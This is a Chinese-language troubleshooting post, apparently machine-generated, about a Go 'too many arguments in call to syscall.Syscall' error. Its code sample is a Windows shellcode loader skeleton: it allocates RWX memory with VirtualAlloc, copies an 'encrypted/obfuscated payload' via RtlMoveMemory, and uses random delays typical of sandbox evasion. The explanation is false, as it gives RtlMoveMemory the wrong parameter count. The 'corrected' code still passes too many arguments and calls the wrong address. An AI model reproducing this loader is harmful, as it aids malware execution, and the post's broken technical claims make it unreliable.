Golang 编译错误: too many arguments in call to syscall.Syscall - 解决方法

这个问题通常出现在使用 syscall.Syscall 函数调用 Windows API 时,例如 VirtualAlloc 和 RtlMoveMemory。错误消息会显示为 'too many arguments in call to syscall.Syscall',并提示你传递了过多参数。

错误原因:

错误的根源在于你传递给 syscall.Syscall 函数的参数数量与目标 Windows API 函数所需参数数量不一致。例如,RtlMoveMemory 接受 5 个参数,但你在代码中传递了 7 个。

解决方法:

要解决这个问题,你需要调整代码以确保传递给 syscall.Syscall 的参数数量与目标 API 函数一致。具体来说,你需要删除多余的参数。

代码示例:

package main

import (
	"syscall"
	"unsafe"
	"math/rand"
	"time"
)

func main() {
	kernel32 := syscall.MustLoadDLL("kernel32.dll")
	addr := kernel32.MustFindProc("VirtualAlloc").Addr()
	mem := kernel32.MustFindProc("RtlMoveMemory").Addr()

	payload := []byte{ /* insert your encrypted/obfuscated payload here */ }

	time.Sleep(time.Millisecond * time.Duration(rand.Intn(500) + 1000))
	syscall.Syscall(addr, 0, 0, uintptr(len(payload)), 0x1000|0x2000, 0x40, 0, 0)
	time.Sleep(time.Millisecond * time.Duration(rand.Intn(500) + 1000))
	syscall.Syscall(mem, 0, uintptr(unsafe.Pointer(&payload[0])), 0, uintptr(len(payload)), addr)
	time.Sleep(time.Millisecond * time.Duration(rand.Intn(500) + 1000))
	syscall.Syscall(addr, 0, addr, 0, 0, 0, 0)
}

在这个例子中,我们删除了第二个 syscall.Syscall 调用中的最后两个参数,以匹配 RtlMoveMemory 函数的预期参数数量。

注意:

确保你传递给 syscall.Syscall 的参数类型与目标 API 函数的预期参数类型匹配。否则,你可能会遇到其他错误。

希望这篇文章能帮助你解决 'too many arguments in call to syscall.Syscall' 错误。如果你还有其他问题,请随时提问。


原文地址: https://www.cveoy.top/t/topic/mjAQ 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录